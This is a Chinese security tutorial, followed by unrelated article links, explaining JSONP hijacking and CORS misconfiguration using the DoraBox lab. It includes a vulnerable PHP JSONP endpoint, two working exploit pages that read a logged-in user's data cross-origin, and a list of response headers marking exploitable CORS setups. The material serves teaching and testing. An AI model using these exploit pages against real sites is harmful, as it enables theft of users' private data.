进入正文之前,我们先来解决个小问题,什么是跨域?

跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制!

跨域常见的两种方式,分别是JSONP和CORS。

今天i春秋以JSONP和CORS这两个知识点,分享一篇比较基础的跨域漏洞知识点,希望能够抛砖引玉。

JSONP跨域

JSONP(JSON with padding),是一种利用HTML中<script></script>元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。

那么为什么需要用到JSONP这样一种方式传递不同域之间的数据呢?因为同源策略,同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript的浏览器都会使用这个策略。

我们以key表哥的droabox为例:

首先看下源码:

<!-- jsonp.php -->
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', '**' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>

我们主要看的是:

if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}

这里首先以get形式接收到callback的值,如果callback为空,则忽略警告输出info的json格式数据;

如果callback值不为空,则对这个值做一个过滤后输出,然后后面还是输出json格式的info的值。

从这段代码我们可以看到,callback的值是可以动态输出的,如果我们现在拿到了一个以jsonp方式传输用户认证后数据的网站,我们就可以构造出一个恶意的jsonp调用页面,然后诱使用户访问我们的页面,从而达到一个截取用户信息的目的。

<!--jsonp.html-->
<!DOCTYPE html>
<html>
<head>
<title>jsonp</title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script type="text/javascript">
$.getJSON("http://localhost:801/dorabox/csrf/jsonp.php?callback=?", function(jsonp){
alert(jsonp.username);
});
</script>
</body>
</html>

这里用到一个jQuery的getJSON方法,语法为:

jQuery.getJSON(url,data,success(data,status,xhr));

我们用这个函数以get方式打开链接,获取到json值,即获取到用户敏感信息。

JSON劫持可能存在的点:

  • Referer过滤不严谨;
  • 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空);
  • CSRF调用json文件方式不安全,token可重复利用;
  • JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
  • 未严格过滤callback函数名及JSON里数据的输出;
  • 未严格限制JSONP输出callback函数名的长度。

CORS跨域

CORS(Cross-Origin Resource Sharing 跨来源资源共享),CORS允许浏览器向跨域服务器发出XmlHttpRequest请求,CORS与JSONP的区别:是JSONP的升级版,JSONP只能通过get方式请求,CORS支持get和post请求。

CORS跨域原理:向header中注入Access-Control-Allow-Origin服务端过判断请求头中的参数是否被允许的域来决定请求源是否有权限获取数据。

注意这里的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS

这个响应头表示访问允许,*表示所有的请求源的所有形式的请求,都被允许访问数据,这样也就造成了一个跨域读取敏感信息的漏洞。

下面有一些返回标识帮助我们快速确认一个网站是否存在cors漏洞:

最好的攻击案例:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在利用点:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

配置失误,但是几乎无法利用:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

或者只有一个:

Access-Control-Allow-Origin: *

下面还是以dorabox为例:

这里假设我们看到的是一个已登录状态的用户信息,通过访问该页面的返回头信息,我们确定它可能存在一个cors跨域资源共享的漏洞,那么我们就可以构造以下代码获取用户隐私信息:

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === 4) {
alert(xhr.responseText);
}
}
xhr.open("GET","http://localhost:801/DoraBox/csrf/userinfo.php");
xhr.send();
}
cors();
</script>
</body>
</html>

首先定义一个函数cors,以get形式访问目标网址,创建XMLHttpRequest对象为xhr,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。

当然我们还可以利用CrossSiteContentHijacking这个poc实现cors跨域资源共享。

将这个工具部署到php环境中,输入目标url,类型设置为CORS iframe或CORS window后,点击"Retrieve Contents"。

有post数据也是可以的,前文说过cors是jsonp的升级版,可处理post数据。

以上是今天分享的全部内容,大家看懂了吗?

跨域漏洞丨JSONP和CORS跨域资源共享的更多相关文章

  1. 跨域解决之JSONP和CORS的详细介绍

    JSONP跨域和CORS跨域 什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行Jav ...

  2. Ajax操作如何实现跨域请求 (JSONP和CORS实现Ajax跨域的原理)

    由于浏览器存在同源策略机制,同源策略阻止ajax (XMLHttpRequest) 从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性. 特别的:由于同源策略是浏览器的限制,所以请求的发送和响 ...

  3. 图片ping、JSONP和CORS跨域

    置顶文章:<纯CSS打造银色MacBook Air(完整版)> 上一篇:<由外边距合并到BFC> 作者主页:myvin 博主QQ:851399101(点击QQ和博主发起临时会话 ...

  4. jsonp与cors跨域的一些理解

    浏览器的同源策略,即是浏览器之间要隔离不同域的内容,禁止互相操作. 比如,当你打开了多个网站,如果允许多个网站之间互相操作,那么其中一个木马网站就可以通过这种互相操作进行一系列的非法行为,获取你在各个 ...

  5. jsonp与cors跨域的一些理解(转)

    CORS其实出现时间不短了,它在维基百科上的定义是:跨域资源共享(CORS )是一种网络浏览器的技术规范,它为Web服务器定义了一种方式,允许网页从不同的域访问其资源.而这种访问是被同源策略所禁止的. ...

  6. Django跨域请求之JSONP和CORS

    现在来新建一个Django项目server01,url配置为 url(r'^getData.html$',views.get_data) 其对应的视图函数为get_data: from django. ...

  7. 【PHP】Ajax跨域解决方案 、jsonp、cors

    参考文章: 1.https://blog.csdn.net/u014727260/article/details/72793459 (后台java,实际上差不多) 2. 如何解决ajax跨域传输 数据 ...

  8. 4 伪ajax:jsonp、cors 跨域请求

    一.同源策略 https://www.cnblogs.com/yuanchenqi/articles/7638956.html 同源策略(Same origin policy)是一种约定,它是浏览器最 ...

  9. django上课笔记7-jQuery Ajax 和 原生Ajax-伪造的Ajax-三种Ajax上传文件方法-JSONP和CORS跨域资源共享

    一.jQuery Ajax 和 原生Ajax from django.conf.urls import url from django.contrib import admin from app01 ...

随机推荐

  1. 201871010102-常龙龙《面向对象程序设计(java)》第七周学习总结

    二.博文正文开头格式: 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/ ...

  2. 201871010123-吴丽丽 《面向对象程序设计(Java)》第十周学习总结

    项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/ ...

  3. sed与grep练习题

    第1章 练习题 第1题 取得/etc/hosts 文件的权限 如何取得/etc/hosts 文件的权限对应的数字内容,如-rw-r--r--  为 644,要求使用命令取得644 这样的数字. 方法一 ...

  4. CF306C White, Black and White Again

    CF306C White, Black and White Again 洛谷评测传送门 题目描述 Polycarpus is sure that his life fits the descripti ...

  5. 多个页面进行爬虫 pycharm

    使用requests , lxml  ,xpath进行爬取并写入了TXT(也可以存入数据库).参考博客:https://blog.csdn.net/yexing_cts/article/details ...

  6. windows下sed回车换行符处理

    windows下sed回车换行符处理如果用sed for windows对整个文件进行了编辑,编辑之后一般需要处理回车换行符:rem windows的回车换行符是\r\n,linux的是\n,所以要替 ...

  7. [LeetCode] 204. Count Primes 质数的个数

    Count the number of prime numbers less than a non-negative number, n. Example: Input: 10 Output: 4 E ...

  8. win10安装docker并结合Idea2018.1部署springboot项目

    一.准备工作 1..工具:win10,idea2018,maven3.5,jdk8 二.win10安装docker 1.win10安装docker:http://www.runoob.com/dock ...

  9. 【对不同形式矩阵的总结】WC 2009 最短路径问题(线段树+矩阵乘法)

    题意 ​ 题目链接:https://www.luogu.org/problem/P4150 ​ 一个 \(6\times n\) 的网格图,每个格点有一个初始权值.有两种操作: 修改一个格子的权值 求 ...

  10. chrome浏览器如何查看、修改、删除Cookie

      1.chrome浏览器的cookie保存位置 C:\Users\你的用户名\AppData\Local\Google\Chrome\User Data\Default 快捷键win+r--> ...